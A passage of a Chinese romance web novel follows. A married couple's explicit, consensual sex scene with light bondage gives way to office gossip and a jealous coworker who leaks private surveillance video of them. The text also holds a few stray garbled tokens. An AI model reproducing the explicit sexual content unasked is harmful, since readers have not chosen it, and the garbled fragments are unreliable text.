男人见她凑过来,长发时不时落在自己的脸颊上,弄得他心里痒痒,不断想仰头去含她的唇。 在多次落空后,他急色着,呼吸都急了几分。 “诶呀, 别动。” 周绾宁双手捧住他的脑袋, 用额头顶着他的, “乖一些。” “绑我做什么?” 谢温言继续抬头送自己的唇上去, “快,亲一口,忍不住了。” 周绾宁竖起一指抵在他的唇前,嘴角勾起, 带了点坏笑:“怕你招架不住,也怕我会有点惨。我打算跳一支舞给你看。” 谢温言倒是隐隐期待起来。 眼见周绾宁就要这样跳起来,他抬起下巴, 示意衣帽间的方向:“你可以先去衣帽间看看,那是我恭喜你回到舞台,特意为你准备的礼物。” 周绾宁几乎是下意识地想到了那会是什么,她转身就往衣帽间跑。 而谢温言看着她帮着自己的丝带,虽然难以挣脱, 但材质应该也不算很难扯断。 很快,周绾宁换上了他给她买的舞服,像只小蝴蝶一样跑出来了, 虽然脸上未施粉黛,长发散披在双肩两侧,但美得就像是古画里出来的神女一样。 她一站定在床前就做好了要跳的 ?????? 舞的造型。 谢温言初看时,只当是她要展示自己新练习的舞蹈,但随着她手机音乐播放出声,此情此景突然变了点味道。 音乐不像是正经音乐,周绾宁的神色倒是坚定得要入党。 直到音乐进入副歌部分,她的脸被衣袖遮住,随着音乐迸发,她像是只狐狸一样钻出来,神情魅惑不已。 只一眼,谢温言就起了反应。 他想要过去,但才起来忽然意识到自己的双手完全被钳制着,遂放弃。 如果只是这样看着她,他也还能忍下,但随着音乐到达最勾人心动的时候,周绾宁来到了他身前,指尖时不时划过他的腹部,又离开,只剩下她发丝的香味。 谢温言想要留下那一抹香味,但又被束缚自己的力量拽了回去。 周绾宁前方的灯光,被她身形挡住,但是光线完美地将她的身形勾勒出来,凹凸有致,曼妙不已。 谢温言忍不下去了,声音沉得可怕,眼神也到达极致慾色:“宁宁,过来,松开我。” 周绾宁跳舞的时候无疑是自信明媚的。 她听话地过来,似是要帮他解开,还凑到谢温言面前,一亲芳泽,而后衣袖滑过他的脸颊,整个人在他身上坐下又起来,还会做手指勾勾。 此刻的周绾宁倒也不是说行为有多惑人,而是她的明媚动人,让谢温言整个心都是澎湃的。 心底一个问题升起,为什么她会在两年前完全将舞蹈放下,甚至不在家展露一丝一毫她想回到舞台的念头。 谢温言用了更大的力气去挣脱束缚,嘶啦一声,他顺势将在身前跳舞的周绾宁,扯住她的衣袖,把人拉到自己怀里,完全抱住。 周绾宁刚跳完舞,此刻正是柔弱无骨的时候,像是蝴蝶一样坠入他的怀里,双手攀在他的肩上。 谢温言热切地去寻她的吻,想要告诉她,他有多爱。 周绾宁圈住他的脖颈,回应他。 “为什么不跟我说你想回舞台,能告诉我原因吗?”谢温言又补了一句话,“你知道我的身份了,你知道我是你的黑暗先生了,就知道我不会是你回到舞台的阻碍。” 周绾宁见此,也没有再隐瞒,把孙晗莉做的事情告诉给了他。 谢温言的眸色一瞬间就沉了下来,甚至要下床,还是被周绾宁拦下的:“诶,去哪?” “看守所。” 孙晗莉上次刺伤谢温言后,就一直还在监狱里。 “都过去了。”周绾宁把他拉回来安抚。 “那为什么不告诉我,你说我没有接你的电话,那时候我……”谢温言的话音停住,转道,“我回来了,你可以告诉我。” “那时候我俩还不熟,我也不敢向你提要求,那次我用了好大好大的勇气想要下楼跟你说这件事。” 周绾宁现在还能体会到那次的酸涩与难过,再加上现在可以肯定的是,这是一个乌龙,还有谢温言很爱自己很支持自己后,就更难过了。 她埋首在他颈窝里,眼眶湿润,“那时候我分明听见你和孙晗莉说,不让我跳了。” 谢温言对此没有印象:“我和孙晗莉说,不让你跳?” “那时候你刚从沪市开完会回来,在书房打电话,我听到的,你喊电话对面的人为阿姨,还跟她说不会让我跳舞。” 谢温言稍稍后退些,看着她的眼睛:“如果我没记错,那段时间我确实没在你身边,导致你一个人照顾奶奶过度劳累,引发了胃病。我怕你会为了减重塑型不好好吃饭,所以才跟我小姨说让你别跳舞。可我没想到后面你跟我说要去当幼师。” 周绾宁愣住,没想到自己没听全的事实真相是这样。 而就因为自己没想多跟谢温言抗争,以至于自己错过了两年回到舞台的时光? 谢温言低下头,很难过:“是我们这段婚姻开始得不太正式,所以哪怕有了矛盾,你也不敢为了自己的热爱与我诉说不满。” 他揉揉她的发,从一旁的床头柜里取出霜舞工作室的注资合同:“这个给你。” 周绾宁看了一眼,有些惊讶:“怎么是我导师的工作室?” “嗯,你现在是这个工作室最大的股东,对工作室未来营销、经营的方向具有决策权。”说罢,谢温言揉揉她的发,“绾宁,我可能不是一个很好的丈夫,但我希望以后你能给我机会,我会做好所有你需要我的事。” 周绾宁用自己的鼻尖蹭蹭他:“那么现在,我就需要你。” 用他全部的爱意,滋养她。 音落,她抬起自己的双唇含住他的,细腻又纠缠。 谢温言的呼吸不稳,全身心投入这个吻里。 周绾宁坐在他身上,让自己作为这场情丿事的主导人。 她重新将他的双手束缚住,而后勾起他的下巴调侃:“给你你就接着,不给你就不许越界。” 谢温言的喉结明显滚动了下,他知道接下来会很难熬,但是他在等,周绾宁会做出什么样的举动。 夜风轻轻吹着周绾宁身上的纱衣,衣服上的飘带随着她上下韵动而在半空中晃荡。 周绾宁伸手与躺着的他十指相扣。 只是在一切的最开始,他就已经十分难以招架,几次没有忍住发出喟叹。 之前周绾宁只是有过投怀送抱的行为,但在这种事情上,她并未主导过。 不过片刻,谢温言就失控地抬起束缚的手握住她的髋骨:“不许磨了,快给我……” 周绾宁郑重地摇摇头:“其实很早就想对你试试了。看看你究竟会有多疯。” 谢温言想要又得不到,不断去亲吻她抚摸着他脸的手,用眼神表达自己的渴望。 偶尔,他还想撑起身来掌控全局,但又被周绾宁重新摁了回去。 眼下,两个人已经形成了拉锯战。 比的是谁最先忍不住。 他虽然双手被限制,但没被限制的地方在她每次与自己触碰之时,都会狠狠跳动,而后抬起去撞。 “嗯…”周绾宁一开始还能忍,但多来几下,便下意识揪紧了谢温言的衣襟。 直到浑身忽然一颤,声音里再也控制不住宣泄自己,最后无力地趴在了他的身上。 一泻千里。 谢温言低笑:“就这样?” 周绾宁埋首在他怀里,哼哼唧唧。 谢温言见她不开心,伸手顺了顺她的后背:“还要继续吗?还是要我给你个痛快?” 周绾宁抿了抿唇,不说话。 谢温言凑到她耳畔,轻轻吻她带着薄汗的鬓发:“我帮你?” 他将这次的战局都交给她主导。 她没有松口前,他不会主动,不过可以进行辅助。 他娴熟地帮她延长快乐。 “别……温言,受不了了。”她睁开小鹿似的眼睛,向他求饶,但眼神里有渴求。 “叫老公。” “老公……” 周绾宁无法抵抗,啜泣出声。 谢温言就着她现在完全对自己放开,直接冲撞到了里面,感受到那层层叠叠的包裹,享有她不带隔阂的温度。 “以后,就叫老公好吗?”他忍着,不给她。 周绾宁没应声,只是哼哼唧唧地暗示他要。 谢温言不着急,哄一声,撞一下,直到周绾宁再也受不住,叫了,他将自己完完全全地给她。 房间里依兰香散尽,声音也很久才停歇下来。 谢温言带她洗漱了一番后,仔细检查了她有没有疼,随即把累得睡过去的人拥入自己的怀里。 好在今晚的周绾宁再也没有像上一次那样抗拒自己。 他很庆幸上次的自己没有给她造成任何的心里阴影。 想到这,他亲吻了一下周绾宁的额头。 她慵懒如小猪,钻进他怀里,嘟囔着:“谢温言你好香。” 谢温言伸手在她蜜桃 椿?日? 那拍了一下:“忘了?该叫我什么?” 怀里的人没有睁开眼只是像喝了假酒一样乖巧:“老公老公。” “对了,你之前不愿意要孩子,是因为想要跳舞吗?”他还记得自己因为这个伤心难过了一会儿。 “嗯。”周绾宁其实脑子里已经因为困倦有些浆糊状了,但回答得倒是实诚。 也因此,她没有听清谢温言的后半句话。 谢温言说:“那好,我改天就去医院结扎。” * 次日一早,烤肠牛排的香味溢满餐厅。 桐姨看到餐桌上黏黏糊糊的小两口,终于意识到这两人现在才是在谈恋爱的状态。 合着之前还是相敬如宾的外表夫妇。 现在的两个人眼里都只有彼此,谢温言一边看她,一边切牛排。 周绾宁喝着小米粥,偶尔张开口等他送牛排过去。 就好像是热恋期的小情侣。 而且两个人贴得很近,难舍难分。 明明一周前,她家先生来拿行李,说要住绾宁公寓旁边时,还一脸看着被老婆抛弃的难过。 这时,谢温言打开电视看早晨新闻。 上面却出现了他意想不到的两个人。 是周思恒和沐黎。 看到周思恒的时候,他已经想要将电视关掉了,但周绾宁诶了一声,夺过遥控器将电视声音放大。 “据悉,盛坤集团与恒星集团一直是商业竞争对手,这次京舞团舞蹈演员首席沐黎与盛坤教育主动解约,转而投入恒星集团怀抱,还与恒星集团CEO周思恒多次出入酒宴,也不知道是不是这对俊男靓女好事将近了呢。” 听着主持人与记者的八卦,谢温言下意识看向对面的周绾宁,有点怕她听到这个新闻会伤心。 周绾宁轻轻抿着筷子,继续将音量放大。 电视已经转播到了采访画面,只见沐黎挽着周思恒的胳膊,笑容很是幸福回答记者的采访:“是啊,我和思恒一见钟情,认定了今生就是彼此了,也决定八月在冰岛完婚。” 周围的记者一片哗然。 有不少人惊讶,明明前阵子网络还在传言沐黎和谢温言隐婚的事情。 沐黎垂眸,装作一片释然的模样:“我和谢总相识多年,但抵不过新鲜感这三个字。但我相信我和思恒会一辈子在一起。” 镜头对准周思恒,只见他勾唇笑了笑,像是在给沐黎回应。 周绾宁回头刚想向谢温言八卦一下。 但在看到他眼底对自己的担忧时,愣了愣。 “怎么这样看着我?” “怕你难过。” 周绾宁错愕,但随即意识到,他是觉得自己看到周思恒和沐黎在一起会不开心。 毕竟,周思恒是她年少时那么喜欢的人。 “啊,是很难过。”她搞怪,“所以老公能不能更爱我一些,你看你出现得那么晚,让我年少时的爱意都落空了,你要是早点出现,说不定我就早点爱你了,说不定也不会喜欢周思恒了。” 但假设都是假设。 周绾宁想,就算那时候自己认识谢温言,但心里应该也会是周思恒。 虽然那段过往最后像是吞了苍蝇一样,但青春的美好不能随意否认。 “是啊,怪我没有早点出现在你身边,早知道那时候就不欺负你了。”谢温言后悔,“也不会害你小时候那么讨厌我。” “什么?”周绾宁放下粥,走向冰箱前的男人。 只见谢温言从冰箱里取出养乐多,递给她:“忘了?小时候我抢过你养乐多喝。”说完,他嘴角一勾,笑靥里带着对小时候吃货又爱欺负人的自己无可奈何。 “原来那个小女孩真的是我?”周绾宁回想起了温璐芸老师的录像带里的小女孩。 怪不得那么眼熟…… “嗯,小时候就说要做我的新娘子,现在终于是哥哥的新娘了。”谢温言抱住她,不免回味,“不然周绾宁同学再叫我一声哥哥?” 他喜欢极了她叫他哥哥的音调。 也觉得无奈,小时候还能做她的哥哥,长大后为了接近她,先接近了她父亲,结果成了她另一个叔叔。 后来又是谢总,又是谢温言,最多就是老公。 但是,他喜欢她甜甜地叫他哥哥。 周绾宁见他把自己抱得这样紧,忍不住锤他:“桐姨还在!你越来越不避嫌了。” 桐姨听见了连忙说:“你们就把姨当做透明的、不存在的。” 谢温言笑了,低头哄她:“别让我晚上缠着你叫。快,叫一声,我们就去上班。” 周绾宁揪着他领带,甜甜的:“哥哥。” 第45章 开会 他为她细细揉捏着。 周思恒和沐黎在一起的事, 一早就成了办公室里的八卦。 “沐黎当初网上那营销的架势就像是要嫁进谢家,成为谢家板上钉钉的少夫人。” “估计上次没进来星海幼儿园的晚会, 还发现谢总身边带了自己的夫人,知道这是要官宣了,彻底没戏了,才转投了恒星集团的怀抱?” “不过上次你们是没看到,我在他们第二排,虽然晚会吵,但看到谢总对他夫人言听计从的模样, 就能看出他很爱她!” “切……”不远处, 正在备课的覃扬听到她们的议论, 发出一声不轻不重的嗤嘲。 于淼好奇问他:“覃扬老师, 为什么我们每次夸谢总,你总一副看不上的模样?” “嫉妒呗。”徐婧路过,直戳痛点。 “嫉妒?我嫉妒他什么,一个表面绅士, 背地不负责任的出轨男?”覃扬应激似地反驳。 徐婧皱了皱眉:“你瞎说什么?” 于淼也惊愕不已:“你别看人家又帅又有钱,老婆还美,就造谣人家。” 这时, 周绾宁从外面走进来,将自己的保温盒放到办公桌上。 覃扬面色古怪又冷淡地看了她一眼,继续做自己的事。 于淼一眼就看中了周绾宁手上在闪耀的婚戒,蹦跶过来,拾起她的手:“哇塞, 一辆代步车戴在手上,姐,这是被求婚了吗?” 周绾宁面色有些尴尬。 是昨晚谢温言要求, 她可以不在幼儿园公开他,但以后必须把无名指的婚戒戴上,防止惹上麻烦。 周绾宁在同事们的眼光里把手抽回来:“是婚戒,我和我对象已经结婚了,是老公。” “啊,什么时候?是我来晚了不知道吗?” 周绾宁微微一笑:“是我没宣布过,因为本来也不是什么值得关注的事情。” 说这话时,她的眼睛对上了徐婧。 徐婧上次也去老爷子的寿宴了,估计已经对于她和谢温言的关系,摸得一清二楚了。 她却是没搭理她,只是看向了覃扬:“你刚刚说,谢总是出轨男,他出轨谁了?据我所知,谢总很爱他老婆,捧在手里怕摔了,含在嘴里怕化了。” 这句话让周绾宁下意识看向覃扬,却见覃扬抬眸看向她,最后目光又落在徐婧身上:“那都是装的,人前一套人后一套。” 周绾宁觉得他有些怪异,难道是之前在晚会那天,看到她和谢温言在楼道里接吻了? 就在她准备给谢温言说点什么时,韦老师过来了。 “绾宁,你跟我去一趟盛坤集团总部吧。” 虽然不知道要去干什么,但周绾宁点头应了下来:“好。” 她简单收拾了下自己的工位,跟上韦老师离开了。 于淼继续八卦:“覃扬,你是不是知道什么内幕啊,怎么能这么笃定谢总出轨了,出轨谁了?” “对啊,你有证据吗?”徐婧搭腔。 覃扬想起自己录下来的休息室监控:“反正我有证据。”说着,他追出去。 一直来到停车场,他叫住前面正和韦老师有说有笑,要走向保时捷的周绾宁。 周绾宁好奇地回头看来,原本的笑靥顿时消失了,似乎是有些尴尬,只保持正常的交友礼仪。 “覃老师,找我是有什么事吗?”周绾宁礼貌询问。 覃扬冷着脸:“借一步说话。” 周绾宁怕被韦老师知道覃扬对自己表白的事情,便答应他往一旁走。 “覃老师,有什么话,你就直说吧。” 覃扬上前一步,眼神沉沉:“上次跟你说的,做我女朋友的事情,我希望你慎重考虑一下。” “覃老师,我那天明确拒绝了你,那便是我的意思。我已婚,这不是搪塞你的借口,而是事实。” 覃扬冷笑一声:“你们之间的事情,我已经知道了,周绾宁,我不想 ?????? 毁了你。” 听到他这样说,周绾宁愣了一下:“你在说些什么?” 这时,不远处的韦老师出声催促她。 周绾宁只是冷着声音继续道:“覃扬,我不喜欢与人撕破脸,我只能告诉你,我们之间是不可能的,马上我也会从幼儿园离开。” “离开幼儿园?是准备去做你的富太太了,对吗?”覃扬紧接着跟上一句话。 面对如此没有边界感的同事,周绾宁有些反感地蹙了蹙眉。 这时,韦老师继续催促道:“绾宁,要来不及了!” 周绾宁深吸一口气,转身离开,只留下一句话:“随你的意。” * 车到了盛坤集团楼下,周绾宁原本是打算停在地面停车场的,但很快就有安保过来,恭恭敬敬地让她去地下停车库停车,说是有专门的车位。 周绾宁整个人都紧绷了,生怕被韦老师看出什么来。 她把车钥匙交给安保,随即和韦老师往下走,只笑着打哈哈:“没想到集团的泊车服务跟酒店一样。” “确实哦,不知道的还以为你常来呢。” 两个人说笑着往总部大楼大厅走。 刚路过咖啡馆的时候,一旁就忽然响起了一个熟悉的声音:“夫人?” 紧接着,林晗就这么蹦跶到了周绾宁面前,扬起笑靥,“你今天怎么来了,总……”她的话戛然而止,只因为她看见周绾宁一直在给自己使眼色。 林晗看向了周绾宁身旁的人,意识到什么,连忙改口:“绾宁,你来了。” 韦老师显然是认识林晗的,连忙道:“林助,我今天来替星海幼儿园汇报工作。” “哦,会议在60楼,我正好也要过去呢,一起吧。” “嗯嗯。” 林晗刷了总裁专用电梯的卡。 韦老师不免有些受宠若惊,看向林晗:“这不太好吧,万一被谢总撞上。” “没、没事儿,我们总裁很大度的。” 林晗微微一笑,眼神对上周绾宁,心想,他们总裁才不舍得他夫人在这早高峰跟人挤电梯。 作为小助理,这点眼力见还是要有的。 于是她又借口道:“而且你们快迟到了,用这电梯被拦截下来的几率几乎没有,也能准点到。” “诶,是,路上有点耽搁。”韦老师也是有些不好意思。 周绾宁全程在后面闷声不响。 直到电梯在二十层时,忽然停了。 门打开,是一个领导模样的人探头进来,在看到电梯里有本不该出现的人时蹙了蹙眉:“你俩谁啊,这是总裁专用电梯!总裁马上要过来了,还不快出来!什么阿猫阿狗都能上来了吗。” 说着,他准备进来驱赶电梯里的韦老师和周绾宁,但又忽然注意到了角落里的林晗,便又变了脸色,卑躬屈膝的,看着好不谦卑。 “林助,这是你的朋友吗?” “陆总她们是……” 林晗刚要开口,这时,一阵脚步声传来,她循声看去。 是她的老板和裴特助来了。 周绾宁也看到了,带着一票保镖和助理的谢温言,面色肃杀地出现在了走廊尽头。 他正在交代裴特助一些事情,冷酷的模样一点也不似昨夜和今早那样有人情味,看着就好像是一个杀伐果决的帝王。 “最近总裁有些头大,盛坤教育事情太多了,孙总的眼线盘根错节,很难一下子除掉。”林晗对周绾宁小声说道。 周绾宁点点头。 也明白林晗话里的意思,是想让她有空可以稍稍安抚下疲惫的谢温言。 就在周绾宁垂眸愣神间,头顶的电梯内灯光被一抹高大的身影挡住。 她仰头看去,发现是谢温言进来了,正站在她面前。 不是昨晚那样的温柔,此刻的他十分有压迫感。 周绾宁有点理解林晗平时为什么会对谢温言有些害怕,她默默往一旁挪,给他让位置。 陆总似乎见她没眼力见,连忙道:“这位小姐,我们总裁着急上楼去开会,你让个位置,等下一班电梯。” “哦,好。”周绾宁很乖地应声。 然后不等她行动,那位陆总急得直接伸手来拽她,将她往电梯外扯去。 “放手。” 冷冰冰的两个字从谢温言的嘴里吐出,下一秒,他伸手握住陆总的手腕,用了些力气。 陆总果断放手,不是疼的,而是被谢温言眼底的警告吓的。 谢温言也放开自己的手,往后站在电梯最里面,让裴特助和两个保镖一起进来。 一时间原本还算空荡荡的电梯里挤满了人。 电梯门关上,只把那位陆总留在了外面。 周绾宁和韦老师站在前面,不敢往后看。 倒是谢温言原本烦躁的心,在看到周绾宁的那一刻瞬间宁静。 他伸出手过去,轻轻握住她刚刚被陆总握住的那只手腕。 陆承宁没轻没重,在她白细的手腕上留下了几道红痕,他为她细细揉捏着。 周绾宁偶尔回头看他,似乎是在瞪他,还用手轻轻挣脱他的骚扰。 但几回合下来后,安安静静地在他手心里享受他的掌心包裹。 到了六十层,韦老师拽着周绾宁离开,两个人毕恭毕敬目送电梯门重新关上,送谢温言上楼。 韦老师顺着自己的心口,忍不住摇摇头:“这谢总的压迫感也太重了,还好来的是你,要是于淼跟我来,说不定已经吓住了。” “不过我们这次是来干什么的?” “作为教师代表来开个会,参与下集团对于盛坤教育之后的安排。” 周绾宁点点头。 这时,她的手机响起声音,是谢温言发来的消息:【等会议结束后,来我办公室。】 周绾宁想了想:【你是以总裁的身份,还是老公的身份跟我发这条消息的。】 【你想要我以什么身份?如果是总裁呢。】 【谢总,有什么事的话,可以让我的上级告知我。】 信息对面顿了顿,又发来:【如果是以老公的身份呢?】 周绾宁发过去:【想吃小蛋糕,抹茶味和草莓味的。】 【好的,管够。】 周绾宁对着手机忍不住笑出声。 韦老师好奇:“是在跟你对象聊天啊,看你笑得那么幸福。” 周绾宁点点头,又提前对韦老师道:“待会儿开完会,我可能要去附近办个事,韦老师,如果你不着急的话,可以在楼下的咖啡厅等我。” “不用了,待会我直接回幼儿园,你去忙你的。”韦老师很是善解人意。 周绾宁对她笑笑:“嗯。” 到了会议室里,大概等了十分钟,谢温言从另一道门里进来。 整个会议室很大,可以容纳百来号人。 来的是京市和周边几个城市幼儿园的负责人们。 谢温言就在台上讲着之后对于盛坤教育的安排,银丝框眼镜时不时折射着投影仪的光芒,一派文质彬彬的模样。 但是会议开了一半,周绾宁的手机响起了电话铃声。 猝不及防的音乐声响起,让她瞬间成为会议场的众矢之的,周围有不少目光投射过来,其中包括话音戛然而止的谢温言。 她拿出手机看了一眼,打电话来的人是覃扬。 她连忙将手机摁了关机,对朝自己看着的谢温言抱歉,说自己忘记关机了。 台上,谢温言只冷声道:“场下的,谁再被我看到玩手机,或是手机出声,就请出去。” 他这话一出口,刚刚在玩手机的其他教师,纷纷把手机关掉,正襟危坐起来。 周绾宁点点头,心里倒是没有异样的感觉,只是感慨,作为老板的谢温言,还真是冷呢。 𝑪𝑹 待会要坑他三块小蛋糕! 第46章 麻烦 你可以先品尝我。 周绾宁在会议层告别了韦老师, 趁着无人的见习,用林晗给自己的卡, 刷开了总裁专用电梯。 电梯下来后,原以为里面没有人,谁知门打开,谢温言就站在那。 随即他伸手将她拽入里面,一手包住她的后腰,另一手包住她的后脑勺,把她按在电梯里亲吻。 周绾宁有些被吓到, 但乖乖承受他的吻。 不过这个吻来得快, 去得也快。 到了64层时, 谢温言已经是一副没事人的模样, 整理好被周绾宁抓出褶皱的衣服,走出电梯,在前面。 周绾宁乖乖跟在后面,两人之间不近不远。 林晗注意到他们俩经过, 从一旁的楼道探出头,小声嘟囔:“还装不熟,两人都抹一个口红了。” 结果下一秒, 被不爽的裴特助敲了敲脑袋,重新拽回楼梯间里。 办公室里。 谢温言脱掉外套,随后绕到周绾宁身后关上门。 紧接着,单手横抱起她,一边亲, 一边往休息室带。 周绾宁圈着他的脖颈回应。 最后,谢温言关上休息室的门,直接把周绾宁按在怀里亲。 她想下来, 但他宽大的手箍着她的腿,并不放过。 片刻后,他喘息哄道:“刚刚难过了没?” 他指的是在会议现场,那么严肃说她的那件事。 周绾宁乖乖回答:“有一点点,但也只有一点点,是我不好,没关机。” 谢温言把她的手放到自己的脸上,轻轻蹭了蹭:“对不起。” 周绾宁被逗笑:“但我觉得那样铁面无私的你,还挺帅,是我在家见不到的威严感,很daddy~” “什么?”谢温言声音沉沉,脸上有一丝感到意外的好笑,似乎没想到她会用那个词来形容他。 周绾宁连忙抿住唇,当做什么都没说。 心里则暗恼,自己怎么把和于淼讨论的话题说出来了。 于淼前两天问过她的xp是什么样的男生。 她不知道怎么回答,于是就着谢温言的形象和平时的行为说了自己xp。 于淼说她喜欢的是爹系。 daddy念多了,导致她现在对着谢温言直呼daddy。 谢温言低头看她,似乎是想起了什么好笑的:“我想到了岳父大人和我有一次喝酒……” 周绾宁其实也很好奇,谢温言和自己爸爸是怎么相处的,于是催促道:“你们说了什么?” “那一次岳父大人跟我喝酒,喝到尽兴,我提到了你。他已经有些醉了,非说要让你认我做干爹。” 周绾宁愣住:“啊?” “我心想,我是当你老公来的,可不是给你当爸爸来的。”谢温言将她放到沙发上,箍住她的腰,眸光带着笑意,“那时,我拼命避嫌,说我才不要这么大一闺女。” 周绾宁有些小生气:“我爸怎么能让我给你做女儿啊?” “不过,现在倒也不是不可以给你做daddy。”谢温言目光落在她的双唇上,发现自己怎么也亲不够,“叫一声。” 周绾宁吐出舌头,不答应。 谢温言有被可爱到。 他搂着她继续吻。 “唔,我来是来吃小蛋糕的,下午还得赶回去上课。”周绾宁努力不去看他的眼睛,里面带着深深的慾色,一旦与他对视,容易沦陷。 谢温言指了指不远处的茶几,上面放着四五块蛋糕,还有两板养乐多。 “小蛋糕在那,但我觉得,你可以先品尝我。”谢温言用额头抵着她的,时不时用自己的双唇去摩擦她的。 周绾宁从不觉得自己是一个好色之人,但奈何谢温言真的秀色可餐。 “那就,接吻半个小时,就放我离开。” 谢温言深深地看了她一眼,直接吻上她的唇,享受彼此。 * 回到幼儿园时,周绾宁特意在车里补了一会儿妆。 看到脖子上谢温言留下的吻痕,怪他有些没轻没重。 她用粉底液遮了遮,还是没有完全遮掉,于是放弃,往办公室走,却见平日人不多的办公室里,有很多人,但可以看见,气氛很沉闷。 她还没进办公室里,里头的于淼看到她来,连忙跑出来,带周绾宁去到一旁的小教室里。 “于淼,那些是什么人?” “绾宁姐,你怎么才来啊,打你电话都没一个打通的。” 周绾宁愣了下,意识到自己的手机还没开机,但现在顾不得那些了,“到底怎么了?” “覃扬啊,去盛坤教育那举报你多项不端,说你在幼儿园任教期间,还出去兼职表演,违反合同,又说你勾引有妇之夫,还收小朋友礼物。总之,现在盛坤教育的人来查了。” “什么?”周绾宁愣住。 这时,小教室来了几个人。 周绾宁朝对方看去,只见是覃扬带着盛坤教育的几个领导过来。 “周老师,配合我们调查一下,去趟会议室。” “哦,好。”那时,周绾宁想的还是比较简单,觉得自己跟几个领导说清楚就好。 在经过覃扬的时候,他眼神冷冷的,伸手带着骚扰意味地从周绾宁的脖颈划过。 周绾宁吓到,下意识拍开他的手:“覃扬,放尊重些。” “韦老师带你去开会,你跑去上床?” 周绾宁听到他把话说得这样露骨,有些不可思议地蹙起了眉头:“闭嘴。” “敢做不敢认啊?”覃扬看了眼不远处负责来调查的人,“我说叶希荷得罪你后,被处理得这样快,原来你是攀上那最高的树枝了。但你放心,我就算自己被开除,也要把你们俩的丑事公之于众。” 周绾宁怒不可遏:“覃扬,你脑袋被驴踢了吧,这样做对你的好处是什么?你看不惯我,我很快就会从幼儿园里离开,不会碍到你什么事,你追求失败这件事也不会有人知道,你为什么非要针对我?” 覃扬冷笑着:“之前你用已经有对象这个借口,拒绝了我的追求,那时,我还以为,你对象是个多么优秀的有为青年。没想到你真是不挑,去吃别人吃剩下的,去做小三和情妇?” 周绾宁正要回怼,这时已经走到门边的调查组回过头唤她:“周老师,麻烦你尽快过来,事情早点调查清楚,你今天也可以早点回家。” 覃扬一脸看好戏的模样。 周绾宁没办法,转身跟着调查组离开。 一旁的于淼听到了周绾宁和覃扬的谈话,原地自己理了许久的思绪,最后问道:“覃老师,你的意思是,小周老师的对象是……” “周绾宁根本没有对象,她一直说的那个对象是别人的老公,谢温言。” “什么?” 覃扬嗤笑:“你也看不出来对吧,平时看着一本正经、家教良好的人,私底下做这样伤风败俗的事情,我今天就是要让她吃个苦头,也算是帮叶希荷报仇了。” 于淼觉得不对劲:“事情没有调查清楚,你不能这样冤枉人,万一小周老师只是和谢总认识,是朋友呢?” “我手上是有证据的,我也已经让我的人脉把她和谢温言在休息室里的监控视频在网上曝光了。” 于淼不解:“休息室监控?” 覃扬拿出自己的手机给于淼看自己录制的监控视频。 看到里面周绾宁和一个男人在色气但不露骨的接吻时,于淼忍不住捂住了自己的嘴巴。 覃扬气得关掉手机:“平时装得清纯烈女,原来那么会勾引人。” 春鈤 于淼有些没好气地怼他:“那又关你什么事?” “我……” “小周老师和谢总再怎么样,那也是他们的事情,或者是谢总夫人的事情,需要你一个外人插手什么,还曝光到网上。” “这种伤风败俗的事情就该举报!”说完覃扬转身离开。 于淼气得在后面骂道:“我看你就是吃不到葡萄就说葡萄酸!”最后,她想了想,连忙跑向园长办公室,去找周辞安。 * 这次来调查周绾宁是否在外兼职、是否受贿、是否插足别人婚姻的领导有男有女。 周绾宁看到自己在晚宴那天和谢温言在休息室的互动,此刻就这么大张旗鼓地被几个“领导”观看,难免有些羞耻、羞辱,自然还有对覃扬的愤怒。 可她的手机自从进了这休息室,就被他们掌控了,说是要调查下人际关系。 为首的一个叫沈清虞的领导看了视频和其他举报材料后,双手抱胸,居高临下地看着她:“周老师,这里还有你在校期间外出兼职跳舞的照片、视频证据。据我所知,你签署的入职协议里,曾明确过,你在星海幼儿园做幼师后,两年内不可重返舞台吧。” “舞台是舞台,幼师是幼师,不涉及行业竞争协议。” 周绾宁深吸一口气,“而且我也已经向园长递交了辞职信,这个学期过后,就不再踏入幼师的行业,不会对星海,对你们盛坤教育产生任何影响。” “但你违反自己签下的合同了,不是吗?” 沈清虞冷笑一下,又点开休息室里周绾宁和谢温言的接吻视频。 “还有这个视频,已经在网络上发酵了。想必很快就会对我们盛坤教育产生负面影响,让盛坤教育旗下的老师和桃色新闻沾边!这对集团来说是一个很难摆脱的丑闻。我想小周老师你应该清楚知道这点。” 周绾宁也有些着急,但还算有条理:“首先,我会澄清,其次,你们不应该好好调查是谁将休息室里如此隐私的监控录下来散播出去吗?而且我不觉得我和我的丈夫接吻,是丑闻!” 周绾宁也不再隐瞒自己和谢温言的关系,勇敢承认,“我想你们看了我的手机,也应该知道我真的是谢温言的太太!” “卡那里你是还没搞清楚一件事。” 沈清虞揉揉太阳穴,“不管视频里的人到底是谁。今天我们过来都是来开除你的,而你只要好好接受这个结果就好。” “什么意思?” 沈清虞用激光笔点了点谢温言的脸:“谢董看到新闻,特意要我过来处理你,说是务必不得曝光你和谢总是隐婚夫妻的事情。” 周绾宁愣住。 “谢董跟我明确说了,谢家无论是现在还是以后,都不会在明面上承认你是谢家儿媳,你也知道你之前陪酒的视频曝光过,这对谢家来说是一个不小的丑闻。谢总这几个月在集团大刀阔斧的改革,得罪了不少人,如果你和他是隐婚夫妻的事情曝光,会影响到谢总在集团的位置还有盛坤集团的股价,谢董不允许这个情况发生,你懂……吗?” 周绾宁看到自己的指甲都掐进了掌心里。 “但我明明只是和我的丈夫……” “这不重要,重要的是,你不可以再影响谢总。”沈清虞递过来一份保密协议,“签了它,到时候集团会对外界表示调查过,已经将你开除,并否认你和谢总的关系。” 周绾宁看着面前的纸张,是一份声明。 是以她的口吻,承认自己在幼儿园的作风有问题、承认自己与谢温言没有任何关系、否认在休息室里与她接吻的人是谢温言…… 第47章 宴请 向我的妻子道个歉。 “我不会签的。” 周绾宁直接撕碎了面前的书面声明。 之前她在谢家过得卑躬屈膝, 是因为不懂谢温言对自己的心意。也因此误会了谢温言许久,与他有了嫌隙, 差点错过他。 现在,谢温言这样爱自己。 她相信在他那,她不会是一个麻烦。 所以没必要签署这一份东西,来让彼此心里有裂痕。 沈清虞蹙眉:“我希望你不要不知好歹,今天你不签下这份东西,我们就要在这继续陪着你,无论多久。” 周绾宁固执地看着她。 沈清虞摊手:“你难道非要让谢温言在各位董事面前难做吗?现在是谢家在盛坤集团□□的关键时期, 如果因为你造成不可估量的损失, 你对得起谢总这两年在盛坤的布局吗?” 周绾宁愣住, 在沈清虞递出第二张声明纸时, 产生了些许犹豫。 沈清虞劝说:“你就签了吧,虽然明面上你和谢总不会再有交集,但私底下没人能动摇你谢温言太太的位置。” 